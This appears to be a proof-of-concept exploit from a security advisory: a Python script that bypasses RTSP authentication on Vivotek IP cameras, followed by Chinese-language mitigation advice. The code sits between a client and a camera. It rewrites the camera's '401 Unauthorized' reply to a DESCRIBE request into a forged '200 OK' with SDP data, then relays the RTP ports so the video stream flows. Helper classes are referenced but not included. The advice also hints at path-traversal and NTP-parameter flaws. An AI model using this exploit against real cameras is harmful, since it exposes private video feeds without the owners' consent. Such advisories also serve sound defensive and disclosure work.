class RTSPAuthByPasser():
DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://'
UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized'
SERVER_PORT_ARGUMENTS = 'server_port='
DEFAULT_CSEQ = 1
DEFAULT_SERVER_PORT_RANGE = '5556-5559'
def __init__(self, local_port, camera):
self.last_describe_req = ''
self.camera = camera
self.local_port = local_port
def start(self):
log('[!] Starting bypasser')
TCPTunnel(self.local_port, self.camera.address, self.spoof_rtsp_conn).start()
def spoof_rtsp_conn(self, data):
if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:
self.last_describe_req = data
elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and self.last_describe_req:
log('[!] Unauthorized response received. Spoofing...')
spoofed_describe = self.camera.get_describe_data()
# Look for the request CSeq
m = re.search('.*CSeq:\\s*(\\d+?)\r\n.*', self.last_describe_req)
cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ
# Create the response
data = 'RTSP/1.0 200 OK\r\n'
data+= 'CSeq: %s\r\n' % cseq
data+= 'Content-Type: application/sdp\r\n'
data+= 'Content-Length: %d\r\n' % len(spoofed_describe)
data+= '\r\n'
# Attach the spoofed describe
data+= spoofed_describe
elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:
# Look for the server RTP ports
m = re.search('.*%s\\s*(.+?)[;|\r].*' % RTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data)
ports = m.group(1) if m else RTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE
# For each port in the range create a UDP dispatcher
begin_port, end_port = map(int, ports.split('-'))
for udp_port in xrange(begin_port, end_port + 1):
try:
UDPDispatcher(udp_port, (self.camera.address[0], udp_port)).start()
except:
pass
return data
if __name__ == '__main__':
if len( sys.argv ) > 1:
listener_port = camera_port = int(sys.argv[1])
camera_ip = sys.argv[2]
if len(sys.argv) == 4:
camera_port = int(sys.argv[3])
RTSPAuthByPasser(listener_port, Vivotek((camera_ip, camera_port))).start()
else:
print 'usage: python %s [local_port] [camera_ip] [camera_rtsp_port]'
建议:
--------------------------------------------------------------------------------
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 除非需要,不要将摄像机联网。
* 如果可能,过滤RTSP流(默认端口554)。
* 在HTTP请求中,至少有一个代理过滤 /../../ 、getparam.cgi
* 对 farseer.out 的每个请求,过滤参数 system.ntp 内的字符串。
厂商补丁:
Vivotek
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: